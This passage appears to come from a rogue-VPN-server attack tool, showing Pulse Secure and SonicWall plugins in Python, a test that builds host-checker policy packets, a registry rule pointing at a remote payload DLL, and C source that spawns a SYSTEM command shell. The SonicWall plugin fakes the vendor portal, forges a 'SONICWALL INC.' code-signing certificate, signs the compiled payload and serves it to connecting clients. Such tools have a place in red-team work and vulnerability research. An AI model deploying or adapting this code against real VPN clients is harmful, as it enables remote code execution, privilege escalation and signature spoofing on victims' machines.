message_type=IFT_VERSION_RESPONSE,\n                    message_identifier=0x01F5,\n                    message_value=(2).to_bytes(4, 'big')  # version 2\n                )\n                outbuf += reply.to_bytes()\n\n            elif packet.message_type == IFT_TLS_CLIENT_INFO:\n                self.logger.info('Got IFT_TLS_CLIENT_INFO')\n                auth_data = packet.message_value.decode(errors='ignore').strip('\\x00\\n')\n                self.logger.info(f'Client info: {auth_data}')\n                reply = IFTPacket(\n                    vendor_id=VENDOR_TCG,\n                    message_type=IFT_CLIENT_AUTH_CHALLENGE,\n                    message_identifier=0x01F6,\n                    message_value=JUNIPER_1.to_bytes(4, 'big')\n                )\n                outbuf += reply.to_bytes()\n\n            elif packet.message_type == IFT_CLIENT_AUTH_RESPONSE:\n                self.logger.info('Got IFT_CLIENT_AUTH_RESPONSE')\n                outbuf += self.parse_eap_packet(packet.message_value, client_socket, connection_id)\n\n            elif packet.message_type == 0x89:  # Logout request\n                self.logger.info('Got logout request')\n                return bytearray()\n\n            elif packet.message_type == 0x4:  # Tunnelled IP packet\n                if packet.message_value and packet.message_value[0] == 0x45:  # IPv4\n                    self.logger.debug('Got IP packet')\n                    self.packet_handler.handle_client_packet(\n                        packet.message_value,\n                        connection_id\n                    )\n\n        self.logger.debug(f'outbuf: {outbuf.hex()}')\n        return outbuf\n"
  },
  {
    "path": "src/nachovpn/plugins/pulse/test/example_rules.json",
    "content": "[\n    {\n        \"rulename\": \"AllowInsecureGuestAuth\",\n        \"subkey\": \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\LanmanWorkstation\\\\Parameters\",\n        \"regname\": \"AllowInsecureGuestAuth\",\n        \"hive\": \"HKEY_LOCAL_MACHINE\",\n        \"value\": 1,\n        \"type\": \"DWORD\"\n    },\n    {\n        \"rulename\": \"Payload\",\n        \"subkey\": \"SOFTWARE\\\\Microsoft\\\\Wow64\\\\x86\",\n        \"regname\": \"ipconfig.exe\",\n        \"hive\": \"HKEY_LOCAL_MACHINE\",\n        \"value\": \"\\\\\\\\10.10.0.1\\\\share\\\\payload.dll\",\n        \"type\": \"String\"\n    }\n]"
  },
  {
    "path": "src/nachovpn/plugins/pulse/test/test_policy.py",
    "content": "from nachovpn.plugins.pulse.funk_parser import FunkManager\nfrom nachovpn.plugins.pulse.plugin import AVP, EAPPacket, IFTPacket, EXPANDED_JUNIPER, \\\n    JUNIPER_1, EAP_REQUEST, VENDOR_TCG, AVP_CODE_EAP_MESSAGE, IFT_CLIENT_AUTH_CHALLENGE\n\nimport os\nimport zlib\nimport logging\nimport difflib\n\nlogging.basicConfig(level=logging.DEBUG)\n\ndef hexdump(data: bytes):\n    def to_printable_ascii(byte):\n        return chr(byte) if 32 <= byte <= 126 else \".\"\n\n    offset = 0\n    while offset < len(data):\n        chunk = data[offset : offset + 16]\n        hex_values = \" \".join(f\"{byte:02x}\" for byte in chunk)\n        ascii_values = \"\".join(to_printable_ascii(byte) for byte in chunk)\n        print(f\"{offset:08x}  {hex_values:<48}  |{ascii_values}|\")\n        offset += 16\n\ndef build_remediation_packet():\n    outbuf = b''\n\n    # EAP within AVP within EAP within IF-T/TLS\n    outer_eap_data = b''\n    outer_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n    outer_eap_data += (1).to_bytes(4, 'big')\n\n    # This is the EAP data encapsulated in AVP (which is itself encapsulated in EAP/IF-T/TLS)\n    inner_eap_data = b''\n    inner_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n    inner_eap_data += (3).to_bytes(4, 'big')\n    inner_eap_data += b'\\x01' # no idea, maybe number of policies?\n\n    # Build a host-checker policy with a registry command\n    commands = FunkManager.remediation_command()\n    policy = FunkManager.generate(commands)\n\n    # Wrap it in an EAP request\n    inner_eap_data += policy\n    inner_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x03, eap_data=inner_eap_data)\n\n    # Build the AVP data from inner EAP data (without vendor)\n    avp = AVP(code=0x4f, flags=0x40, value=inner_eap.to_bytes()[4:])\n\n    # Add AVP data to outer EAP data\n    outer_eap_data += avp.to_bytes(include_padding=True)\n    print (f'Padding required: {avp.padding_required()}')\n\n    # Construct outer EAP packet\n    outer_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x05, eap_data=outer_eap_data)\n\n    # Build IFT packet\n    reply = IFTPacket(vendor_id=VENDOR_TCG, message_type=0x05, message_identifier=0x01FA, message_value=outer_eap.to_bytes())\n\n    # Append to output buffer\n    outbuf += reply.to_bytes()\n    return outbuf\n\ndef build_policy():\n    outbuf = b''\n\n    # EAP within AVP within EAP within IF-T/TLS\n    outer_eap_data = b''\n    outer_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n    outer_eap_data += (1).to_bytes(4, 'big')\n\n    # This is the EAP data encapsulated in AVP (which is itself encapsulated in EAP/IF-T/TLS)\n    inner_eap_data = b''\n    inner_eap_data += EXPANDED_JUNIPER.to_bytes(4, 'big')\n    inner_eap_data += (3).to_bytes(4, 'big')\n    inner_eap_data += b'\\x01' # no idea, maybe number of policies?\n\n    # Build a host-checker policy with a registry command\n    commands = FunkManager.registry_command()\n    policy = FunkManager.generate(commands)\n\n    # Wrap it in an EAP request\n    inner_eap_data += policy\n    inner_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x02, eap_data=inner_eap_data)\n\n    # Build the AVP data from inner EAP data (without vendor)\n    avp = AVP(code=0x4f, flags=0x40, value=inner_eap.to_bytes()[4:])\n\n    # Add AVP data to outer EAP data\n    outer_eap_data += avp.to_bytes(include_padding=True)\n    print (f'Padding required: {avp.padding_required()}')\n\n    # Construct outer EAP packet\n    outer_eap = EAPPacket(vendor=JUNIPER_1, code=EAP_REQUEST, identifier=0x04, eap_data=outer_eap_data)\n\n    # Build IFT packet\n    reply = IFTPacket(vendor_id=VENDOR_TCG, message_type=0x05, message_identifier=0x01F9, message_value=outer_eap.to_bytes())\n\n    # Append to output buffer\n    outbuf += reply.to_bytes()\n    return outbuf\n\ndef compare(file_1, file_2):\n    with open(file_1, 'rb') as f:\n        example_bytes = f.read()\n\n    with open(file_2, 'rb') as f:\n        generated_data = f.read()\n\n    # Diff generated data with example file\n    bytes1 = list(example_bytes)\n    bytes2 = list(generated_data)\n\n    diff = difflib.unified_diff(\n        [f\"{b:02x}\" for b in bytes1],\n        [f\"{b:02x}\" for b in bytes2],\n        lineterm=\"\"\n    )\n\n    same = True\n    for line in diff:\n        print(line)\n        same = False\n\n    if same:\n        print('> No differences found!')\n\ndef build_remediation():\n    commands = FunkManager.remediation_command()\n    return FunkManager.generate(commands)\n\ndef generate_example_files():\n    os.makedirs(os.path.join(os.path.dirname(__file__), 'examples'), exist_ok=True)\n\n    # generate example IF-T / host-checker policy\n    client_policy_file = os.path.join(os.path.dirname(__file__), 'examples', 'client_policy_packet.bin')\n    client_policy_data = bytearray()\n    client_policy_data += bytes.fromhex('00 00 55 97 00 00 00 05 00 00 01 CC 00 00 01 F9')\n    client_policy_data += bytes.fromhex('00 0A 4C 01 01 04 01 B8 FE 00 0A 4C 00 00 00 01')\n    client_policy_data += bytes.fromhex('00 00 00 4F 40 00 01 A9 01 02 01 A1 FE 00 0A 4C')\n    client_policy_data += bytes.fromhex('00 00 00 03 01 00 00 00 16 C0 00 01 93 00 00 05')\n    client_policy_data += bytes.fromhex('83 00 00 02 78 78 9C 8D 52 CB 4A 03 31 14 8D 85')\n    client_policy_data += bytes.fromhex('6E A4 0B 57 AE 87 F9 82 A6 D6 56 18 23 0C B5 52')\n    client_policy_data += bytes.fromhex('B1 2F 5A 1F 28 C2 90 49 2E 35 3A 93 0C 49 A6 B5')\n    client_policy_data += bytes.fromhex('D0 85 E0 8F F9 31 82 1F E0 0F 98 99 AA 88 14 34')\n    client_policy_data += bytes.fromhex('AB 7B 0F 27 E7 9E 7B B8 08 D5 5E 5F 50 E5 0E A1')\n    client_policy_data += bytes.fromhex('EA 33 42 B5 B7 17 84 2E CA BA FA BC 7B 38 0E 27')\n    client_policy_data += bytes.fromhex('E1 C0 1B 86 83 2E F1 C7 54 D3 14 2C E8 BA EF 5D')\n    client_policy_data += bytes.fromhex('86 FD 0B 07 05 0C B4 8D 52 BE 4F 02 03 7A 0E 3A')\n    client_policy_data += bytes.fromhex('B2 22 05 82 DB 8D 36 3E 68 E3 46 CB 3F DA 46 E5')\n    client_policy_data += bytes.fromhex('2B 74 2B 95 6F DD AC D0 F2 A4 D3 23 7E F6 A5 8B')\n    client_policy_data += bytes.fromhex('7D 6F 4E 93 DC 41 2A BE 07 66 23 99 A7 31 68 82')\n    client_policy_data += bytes.fromhex('03 2F D3 6A 2E B8 AB 35 CC 84 B1 7A 19 78 3A 4F')\n    client_policy_data += bytes.fromhex('40 70 4C EA EB B2 D0 C2 64 A1 94 75 FD 27 29 7A')\n    client_policy_data += bytes.fromhex('80 25 26 BD B3 EE 75 D4 1F 75 C2 7E 34 08 3B BD')\n    client_policy_data += bytes.fromhex('D3 61 F7 07 C3 E4 71 49 9A 8E 4E CE AF C2 49 F7')\n    client_policy_data += bytes.fromhex('B6 93 50 63 C0 DC D2 98 FD A0 6D 54 B7 CB CC 81')\n    client_policy_data += bytes.fromhex('53 AB 85 9C 95 F0 A5 80 45 AB 89 0B C3 A9 90 2E')\n    client_policy_data += bytes.fromhex('8E 6F 77 1A 52 E0 C4 80 FB 2E 01 B8 19 28 29 AC')\n    client_policy_data += bytes.fromhex('2A 3E 16 64 B7 9F 4A 04 5B 92 39 AB AF 9A 7B AB')\n    client_policy_data += bytes.fromhex('75 17 35 56 78 F5 6B 64 99 0F 26 AC C7 F3 9B 90')\n    client_policy_data += bytes.fromhex('90 C0 8B A9 81 56 13 24 53 1C 5C 18 D8 05 BE 39')\n    client_policy_data += bytes.fromhex('DC C6 3F C2 5D CF E5 D4 D2 BF 1D B9 A5 98 CA A5')\n    client_policy_data += bytes.fromhex('2D 04 E0 31 D3 60 8C 50 F2 F4 D8 38 53 4C 49 2E')\n    client_policy_data += bytes.fromhex('AC 6B 69 E2 02 F0 BD CF 23 A8 BD 3F 21 B4 B3 BE')\n    client_policy_data += bytes.fromhex('33 B4 F5 01 ED 71 D0 C2 00 00 00 00')\n\n    with open(client_policy_file, 'wb') as f:\n        f.write(client_policy_data)\n\n    # generate full remediation packet\n    remediation_packet_file = os.path.join(os.path.dirname(__file__), 'examples', 'remediation_packet.bin')\n    remediation_packet_data = bytearray()\n    remediation_packet_data += bytes.fromhex('00 00 55 97 00 00 00 05 00 00 00 B8 00 00 01 FA')\n    remediation_packet_data += bytes.fromhex('00 0A 4C 01 01 05 00 A4 FE 00 0A 4C 00 00 00 01')\n    remediation_packet_data += bytes.fromhex('00 00 00 4F 40 00 00 95 01 03 00 8D FE 00 0A 4C')\n    remediation_packet_data += bytes.fromhex('00 00 00 03 01 00 00 00 16 C0 00 00 7F 00 00 05')\n    remediation_packet_data += bytes.fromhex('83 00 00 00 94 78 9C 63 60 E0 79 72 80 81 81 87')\n    remediation_packet_data += bytes.fromhex('81 81 B5 19 48 7D 00 B2 33 A0 EC 8F 40 B6 00 88')\n    remediation_packet_data += bytes.fromhex('5D 92 5A 5C C2 00 51 E7 03 95 7B 0E 64 DB 81 D9')\n    remediation_packet_data += bytes.fromhex('AC CD 62 41 AE BE AE 2E 9E 8E 21 AE 56 01 FE 3E')\n    remediation_packet_data += bytes.fromhex('9E CE 91 9E 2E B6 65 C9 06 35 26 C6 35 05 F9 39')\n    remediation_packet_data += bytes.fromhex('99 C9 95 F1 46 35 86 35 E5 F9 F9 25 3A C5 A9 40')\n    remediation_packet_data += bytes.fromhex('83 40 40 08 66 36 90 CD 08 34 EF 73 03 12 1F 00')\n    remediation_packet_data += bytes.fromhex('25 39 21 7B 00')\n    remediation_packet_data += bytes.fromhex('00 00 00') # padding (client sends A0 6D 9C)\n\n    with open(remediation_packet_file, 'wb') as f:\n        f.write(remediation_packet_data)\n\n    # generate example remediation policy\n    remediation_file = os.path.join(os.path.dirname(__file__), 'examples', 'remediation.bin')\n    remediation_data = bytearray()\n    remediation_data += bytes.fromhex('00 00 00 16 C0 00 00 7F 00 00 05 83 00 00 00 94')\n    remediation_data += bytes.fromhex('78 9C 63 60 E0 79 72 80 81 81 87 81 81 B5 19 48')\n    remediation_data += bytes.fromhex('7D 00 B2 33 A0 EC 8F 40 B6 00 88 5D 92 5A 5C C2')\n    remediation_data += bytes.fromhex('00 51 E7 03 95 7B 0E 64 DB 81 D9 AC CD 62 41 AE')\n    remediation_data += bytes.fromhex('BE AE 2E 9E 8E 21 AE 56 01 FE 3E 9E CE 91 9E 2E')\n    remediation_data += bytes.fromhex('B6 65 C9 06 35 26 C6 35 05 F9 39 99 C9 95 F1 46')\n    remediation_data += bytes.fromhex('35 86 35 E5 F9 F9 25 3A C5 A9 40 83 40 40 08 66')\n    remediation_data += bytes.fromhex('36 90 CD 08 34 EF 73 03 12 1F 00 25 39 21 7B 00')\n\n    with open(remediation_file, 'wb') as f:\n        f.write(remediation_data)\n\n    remediation_uncompressed_file = os.path.join(os.path.dirname(__file__), 'examples', 'remediation_uncompressed.bin')\n    remediation_uncompressed_data = zlib.decompress(remediation_data[0x10:])\n\n    with open(remediation_uncompressed_file, 'wb') as f:\n        f.write(remediation_uncompressed_data)\n\n# create example files\ngenerate_example_files()\n\n# build + test IF-T packet\nclient_policy_packet_file = os.path.join(os.path.dirname(__file__), 'generated_client_policy_packet.bin')\nexample_client_policy_packet = os.path.join(os.path.dirname(__file__), 'examples', 'client_policy_packet.bin')\n\ndata = build_policy()\nprint('\\n> Generated client policy packet:')\nhexdump(data)\n\nwith open(client_policy_packet_file, 'wb') as f:\n    f.write(data)\n\nprint('\\n> Comparing client policy packet with example:')\ncompare(example_client_policy_packet, client_policy_packet_file)\n\n# Test remediation policy\nremediation_file = os.path.join(os.path.dirname(__file__), 'generated_remediation.bin')\nexample_remediation = os.path.join(os.path.dirname(__file__), 'examples', 'remediation.bin')\n\n# Uncompressed remediation policy\nexample_remediation_uncompressed = os.path.join(os.path.dirname(__file__), 'examples', 'remediation_uncompressed.bin')\nremediation_uncompressed = os.path.join(os.path.dirname(__file__), 'generated_remediation_uncompressed.bin')\n\ndata = build_remediation()\nprint('\\n> Generated remediation data:')\nhexdump(data)\n\n# write remediation data to file\nwith open(remediation_file, 'wb') as f:\n    f.write(data)\n\n# write uncompressed remediation data to file\nwith open(remediation_uncompressed, 'wb') as f:\n    f.write(zlib.decompress(data[0x10:]))\n\nprint('\\n> Comparing remediation data with example (uncompressed):')\ncompare(example_remediation_uncompressed, remediation_uncompressed)\n\nprint('\\n> Comparing remediation data with example (compressed):')\ncompare(example_remediation, remediation_file)\n\n# generate remediation full packet\nremediation_packet_file = os.path.join(os.path.dirname(__file__), 'generated_remediation_packet.bin')\nexample_remediation_packet = os.path.join(os.path.dirname(__file__), 'examples', 'remediation_packet.bin')\n\ndata = build_remediation_packet()\nprint('\\n> Generated remediation packet:')\nhexdump(data)\n\nwith open(remediation_packet_file, 'wb') as f:\n    f.write(data)\n\nprint('\\n> Comparing remediation packet with example:')\ncompare(example_remediation_packet, remediation_packet_file)\n\n# Cleanup\nos.remove(client_policy_packet_file)\nos.remove(remediation_file)\nos.remove(remediation_uncompressed)\nos.remove(remediation_packet_file)"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/__init__.py",
    "content": "from .plugin import SonicWallPlugin\n\n__all__ = ['SonicWallPlugin']\n"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/files/NACAgent.c",
    "content": "#include <windows.h>\n#include <wtsapi32.h>\n#include <userenv.h>\n#include <tlhelp32.h>\n#include <stdbool.h>\n\n#pragma comment(lib, \"wtsapi32.lib\")\n#pragma comment(lib, \"userenv.lib\")\n\nDWORD FindProcessId(const wchar_t* processName) {\n    PROCESSENTRY32W processInfo;\n    processInfo.dwSize = sizeof(processInfo);\n\n    HANDLE processesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n    if (processesSnapshot == INVALID_HANDLE_VALUE) {\n        return 0;\n    }\n\n    if (Process32FirstW(processesSnapshot, &processInfo)) {\n        if (wcscmp(processName, processInfo.szExeFile) == 0) {\n            CloseHandle(processesSnapshot);\n            return processInfo.th32ProcessID;\n        }\n    }\n\n    while (Process32NextW(processesSnapshot, &processInfo)) {\n        if (wcscmp(processName, processInfo.szExeFile) == 0) {\n            CloseHandle(processesSnapshot);\n            return processInfo.th32ProcessID;\n        }\n    }\n\n    CloseHandle(processesSnapshot);\n    return 0;\n}\n\nbool PopSystemShell() {\n    BOOL bSuccess = FALSE;\n    STARTUPINFOW si;\n    PROCESS_INFORMATION pi;\n    TOKEN_PRIVILEGES tp;\n    LUID luid;\n    HANDLE oldToken = NULL;\n    HANDLE newToken = NULL;\n    HANDLE privToken = NULL;\n    LPVOID pEnv = NULL;\n    DWORD dwCreationFlags = NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE;\n\n    ZeroMemory(&si, sizeof(si));\n    si.cb = sizeof(si);\n    si.lpDesktop = L\"Winsta0\\\\default\";\n    ZeroMemory(&pi, sizeof(pi));\n\n    DWORD sessionId;\n    DWORD dwPid = FindProcessId(L\"NEGui.exe\");\n    ProcessIdToSessionId(dwPid, &sessionId);\n\n    if (sessionId == 0xFFFFFFFF || sessionId == 0) {\n        goto CLEANUP_EXIT;\n    }\n\n    if (WTSQueryUserToken(sessionId, &oldToken)) {\n        if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY\n            | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_ADJUST_SESSIONID\n            | TOKEN_READ | TOKEN_WRITE, &privToken)) {\n            goto CLEANUP_EXIT;\n        }\n\n        // Enable SeDebugPrivilege\n        if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) {\n            goto CLEANUP_EXIT;\n        }\n\n        tp.PrivilegeCount = 1;\n        tp.Privileges[0].Luid = luid;\n        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n        // Duplicate our token to &newToken\n        if (!DuplicateTokenEx(privToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary, &newToken)) {\n            goto CLEANUP_EXIT;\n        }\n\n        if (!SetTokenInformation(newToken, TokenSessionId, (void*)&sessionId, sizeof(DWORD))) {\n            goto CLEANUP_EXIT;\n        }\n\n        if (!AdjustTokenPrivileges(newToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL)) {\n            goto CLEANUP_EXIT;\n        }\n\n        if (CreateEnvironmentBlock(&pEnv, newToken, TRUE)) {\n            dwCreationFlags |= CREATE_UNICODE_ENVIRONMENT;\n        }\n\n        // Create process for user with desktop\n        if (!CreateProcessAsUserW(newToken, L\"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n            NULL, NULL, NULL, FALSE, dwCreationFlags, pEnv, L\"C:\\\\Windows\\\\System32\\\\\", &si, &pi)) {\n            goto CLEANUP_EXIT;\n        }\n\n        bSuccess = TRUE;\n    }\n\nCLEANUP_EXIT:\n    if (oldToken != NULL) CloseHandle(oldToken);\n    if (newToken != NULL) CloseHandle(newToken);\n    if (privToken != NULL) CloseHandle(privToken);\n    if (pi.hProcess != NULL) CloseHandle(pi.hProcess);\n    if (pi.hThread != NULL) CloseHandle(pi.hThread);\n    if (pEnv != NULL) DestroyEnvironmentBlock(pEnv);\n    return bSuccess;\n}\n\nint main() {\n    if (PopSystemShell()) {\n        return 0;\n    } else {\n        return 1;\n    }\n}"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/plugin.py",
    "content": "from nachovpn.plugins import VPNPlugin\nfrom flask import Flask, jsonify, request, abort, send_file, make_response\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.x509.oid import ExtendedKeyUsageOID\n\nimport logging\nimport datetime\nimport subprocess\nimport shutil\nimport urllib.parse\nimport base64\nimport uuid\nimport json\nimport os\n\nclass SonicWallPlugin(VPNPlugin):\n    def __init__(self, *args, **kwargs):\n        # provide the templates directory relative to this plugin\n        super().__init__(*args, **kwargs, template_dir=os.path.join(os.path.dirname(__file__), 'templates'))\n        self.payload_dir = os.path.join(os.getcwd(), 'payloads')\n        self.files_dir = os.path.join(os.path.dirname(__file__), 'files')\n        os.makedirs(self.payload_dir, exist_ok=True)\n        self.setup_payload()\n\n    def can_handle_data(self, data, client_socket, client_ip):\n        # CONNECT tunnel is not currently supported\n        return False\n\n    def can_handle_http(self, handler):\n        user_agent = handler.headers.get('User-Agent', '')\n        if 'SonicWALL NetExtender' in user_agent or \\\n           'SMA Connect Agent' in user_agent or \\\n           handler.path == '/sonicwall' or \\\n           handler.path == '/sonicwall/ca.crt':\n            return True\n        return False\n\n    def random_swap(self):\n        return base64.b64encode(base64.b64encode(os.urandom(32))).decode()\n\n    def _setup_routes(self):\n        # Call the parent class's route setup\n        super()._setup_routes()\n\n        @self.flask_app.route('/', defaults={'path': ''}, methods=['CONNECT'])\n        @self.flask_app.route('/<path:path>', methods=['CONNECT'])\n        def handle_connect(path):\n            self.logger.info(f\"handle CONNECT: {path}\")\n            self.logger.info(request.headers)\n            self.logger.info(request.cookies)\n            self.logger.info(request.data)\n            self.logger.info(request.args)\n            self.logger.info(request.form)\n            self.logger.info(request.endpoint)\n            self.logger.info(request.method)\n            self.logger.info(request.remote_addr)\n            return Response(\"Connection Established\", status=200, mimetype='text/plain')\n\n        @self.flask_app.route('/sonicwall/ca.crt')\n        def cert():\n            cert_path = os.path.join(os.getcwd(), 'certs', 'ca.crt')\n            if not os.path.exists(cert_path):\n                return abort(404)\n            return send_file(cert_path)\n\n        @self.flask_app.route('/cgi-bin/welcome')\n        def welcome():\n            return self.render_template('welcome.html')\n\n        @self.flask_app.route('/cgi-bin/userLogin', methods = ['POST', 'GET'])\n        def user_login():\n            resp = Response('<HTML><HEAD><META HTTP-EQUIV=\"Pragma\" CONTENT=\"no-cache\"><meta http-equiv=\"refresh\" content=\"0; URL=/cgi-bin/portal\"></HEAD><BODY></BODY></HTML>')\n            resp.set_cookie('swap', self.random_swap())\n            return resp\n\n        @self.flask_app.route('/cgi-bin/sslvpnclient', methods = ['POST', 'GET'])\n        def ssl_vpnclient():\n            if request.args.get('getepcprofiles'):\n                return 'X-NE-sslvpnnac-allow: {}\\r\\nX-NE-sslvpnnac-deny: {}'\n            elif request.args.get('launchnetextender'):\n                return self.render_template('launchextender.html')\n            elif request.args.get('versionquery'):\n                return 'NX_WINDOWS_VER: 0x00000000;\\n NX_TUNNEL_PROTO_VER: 2.0;\\n NX_MAY_CHANGE_PASSWORD:0;\\n NX_WIN_MIN_GOOD_VERSION: 0x0a020153;\\n'\n            elif request.args.get('launchplatform'):\n                return self.render_template('launchplatform.html')\n            elif request.args.get('epcversionquery'):\n                return 'NX_WINDOWS_EPC_VER: 0xFF;'\n            elif request.args.get('gettunnelfailedinfo'):\n                return '<HTML><HEAD><META HTTP-EQUIV=\"Pragma\" CONTENT=\"no-cache\">' \\\n                    '<meta http-equiv=\"refresh\" content=\"0; URL=/cgi-bin/welcome\"></HEAD><BODY></BODY></HTML>'\n            elif request.args.get('launchextrainfos'):\n                return 'connProxy = 0;\\nconnPacURL = ;\\nconnProxyURL = ;\\nconnProxyByPass = ;\\n'\n            elif request.form.get('setclienthostname'):\n                return ''\n            return abort(404)\n\n        @self.flask_app.route('/cgi-bin/sessionStatus')\n        def session_status():\n            if request.form.get('touchSession'):\n                return {\"status\":\"touch ok\", \"nxnoneedtouchsession\": \"true\"}\n            return abort(404)\n\n        @self.flask_app.route('/cgi-bin/getaovconf', methods = ['POST', 'GET'])\n        def getaovconf():\n            return {\n                \"result\": 0,\"aovTempShutDown\": 0, \n                \"aovAllowAlwaysOnVPN\": 0, \"aovAllowUserDisconnect\": 0,\n                \"aovUserEmail\": \"\", \"aovAllowAccessWhenVPNFailToConnect\": 0,\n                \"aovAllowNoConnectInTrustedNetwork\": 0, \"aovSecureHosts\": \"\",\n                \"nePrimaryDns\": \"1.1.1.1\", \"neSecondaryDns\": \"8.8.8.8\", \n                \"dnsDomainSuffixes\": \"\"\n                }\n\n        @self.flask_app.route('/cgi-bin/tunneltype', methods = ['POST', 'GET'])\n        def tunnel_type():\n            return {\"preferVPN\": \"SSLVPN\",\"allowedVPN\": \"NONE\"}\n\n        @self.flask_app.route('/cgi-bin/epcs', methods = ['POST', 'GET'])\n        def epcs():\n            return 'X-NE-epcret: pass'\n\n        @self.flask_app.route('/cgi-bin/wxacneg')\n        def wxacneg():\n            return self.render_template('wxacneg.html')\n\n        @self.flask_app.route('/cgi-bin/userLogout')\n        def logout():\n            return self.render_template('logout.html')\n\n        @self.flask_app.route('/NXSetupU.exe')\n        def nxsetup():\n            if not os.path.exists(os.path.join(self.payload_dir, 'NXSetupU.exe')):\n                return abort(404)\n            return send_file(os.path.join(self.payload_dir, 'NXSetupU.exe'))\n\n        @self.flask_app.route('/NACAgent.exe')\n        def nacagent():\n            if not os.path.exists(os.path.join(self.payload_dir, 'NACAgent.exe')):\n                return abort(404)\n            return send_file(os.path.join(self.payload_dir, 'NACAgent.exe'))\n\n        @self.flask_app.route('/NXSetupU.exe.manifest')\n        def nxsetup_manifest():\n            if not os.path.exists(os.path.join(self.payload_dir, 'NXSetupU.exe.manifest')):\n                return abort(404)\n            return send_file(os.path.join(self.payload_dir, 'NXSetupU.exe.manifest'))\n\n        @self.flask_app.route('/cgi-bin/extendauthentication', methods = ['POST', 'GET'])\n        def extendauthentication():\n            resp = make_response('{\"response\":\"OK\"}')\n            resp.set_cookie('swap', self.random_swap())\n            return resp\n\n        @self.flask_app.route('/sonicwall')\n        def index():\n            # the sonicwallconnectagent:// URI handler must use the external IP address and NOT the DNS name\n            token = {\n                \"action\": 10, \"helperversion\": \"1.1.42\", \"host\": self.external_ip, \n                \"port\": \"443\", \"username\": \"user\", \"extendid\": base64.b64encode(os.urandom(32)).decode()\n                }\n\n            data = json.dumps(token).replace(' ', '')\n            encoded = urllib.parse.quote(base64.b64encode(str(data).encode()).decode())\n            url = f\"sonicwallconnectagent://{encoded}\"\n            return f\"<html><head></head><body><script>window.location.href='{url}';</script></body></html>\"\n\n    def compile_payload(self):\n        source_file = os.path.join(self.files_dir, 'NACAgent.c')\n        output_file = os.path.join(self.payload_dir, 'NACAgent.exe')\n        if not os.path.exists(source_file) or not os.path.exists('/usr/bin/x86_64-w64-mingw32-gcc'):\n            return False\n\n        proc = subprocess.run([\n            \"/usr/bin/x86_64-w64-mingw32-gcc\",\n            \"-L\", \"/usr/x86_64-w64-mingw32/lib\",\n            \"-o\", output_file, source_file,\n            \"--static\", \"-lwtsapi32\", \"-luserenv\"\n        ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n        return proc.returncode == 0 and os.path.exists(output_file)\n\n    def verify_payload(self):\n        # Verify that the payload is signed by our current CA\n        if os.name == \"nt\":\n            self.logger.error(\"Windows payload verification not supported yet\")\n            return True\n\n        if os.name == \"posix\" and not os.path.exists('/usr/bin/osslsigncode'):\n            self.logger.error(\"osslsigncode not found, skipping verification\")\n            return True\n\n        proc = subprocess.run([\n            \"/usr/bin/osslsigncode\", \"verify\", \"-CAfile\", self.cert_manager.ca_cert_path,\n            \"-in\", os.path.join(self.payload_dir, 'NACAgent.exe'),\n            ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n\n        if proc.returncode:\n            self.logger.error(f\"Failed to verify {os.path.join(self.payload_dir, 'NACAgent.exe')}: {proc.returncode}\")\n            return False\n\n        self.logger.info(f\"{os.path.join(self.payload_dir, 'NACAgent.exe')} verified\")\n        return True\n\n    def setup_payload(self):\n        # skip on Windows for now (we can use signtool if needed)\n        if os.name == 'nt':\n            return True\n\n        # If the payload already exists and is validly signed, skip compilation/signing\n        if os.path.exists(os.path.join(self.payload_dir, 'NACAgent.exe')) and \\\n           self.verify_payload():\n            self.logger.info(f\"{os.path.join(self.payload_dir, 'NACAgent.exe')} already exists and is validly signed\")\n            return True\n\n        # the user can provide their own sonicwall.pfx file in the certs directory\n        # if not, a new signing certificate will be generated and self-signed by the CA\n        cert_path = os.path.join('certs', 'sonicwall.cer')\n        key_path = os.path.join('certs', 'sonicwall.key')\n        pfx_path = os.path.join('certs', 'sonicwall.pfx')\n        if not os.path.exists(pfx_path) or not self.cert_manager.cert_is_valid(cert_path, \"SONICWALL INC.\"):\n            pfx_path = self.cert_manager.generate_codesign_certificate(\n                common_name=\"SONICWALL INC.\",\n                pfx_path=pfx_path,\n                cert_path=cert_path, \n                key_path=key_path\n            )\n\n        # sign NACAgent.exe\n        input_file = os.path.join(self.payload_dir, 'NACAgent.exe')\n        output_file = os.path.join(self.payload_dir, 'NACAgent.exe.signed')\n        if not os.path.exists(input_file):\n            # attempt to compile the default payload from source\n            if not self.compile_payload():\n                self.logger.warning(f\"Warning: {input_file} does not exist and could not be compiled. Payload will not be served.\")\n                return False\n\n        proc = subprocess.run([\"/usr/bin/osslsigncode\", 'sign', '-pkcs12', pfx_path, '-in', input_file, '-out', output_file],\n                              stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)\n        if proc.returncode or not os.path.exists(output_file):\n            self.logger.warning(f\"Warning: {input_file} could not be signed. Payload will not be served.\")\n            return False\n        else:\n            shutil.move(output_file, input_file)\n        return True"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/templates/launchextender.html",
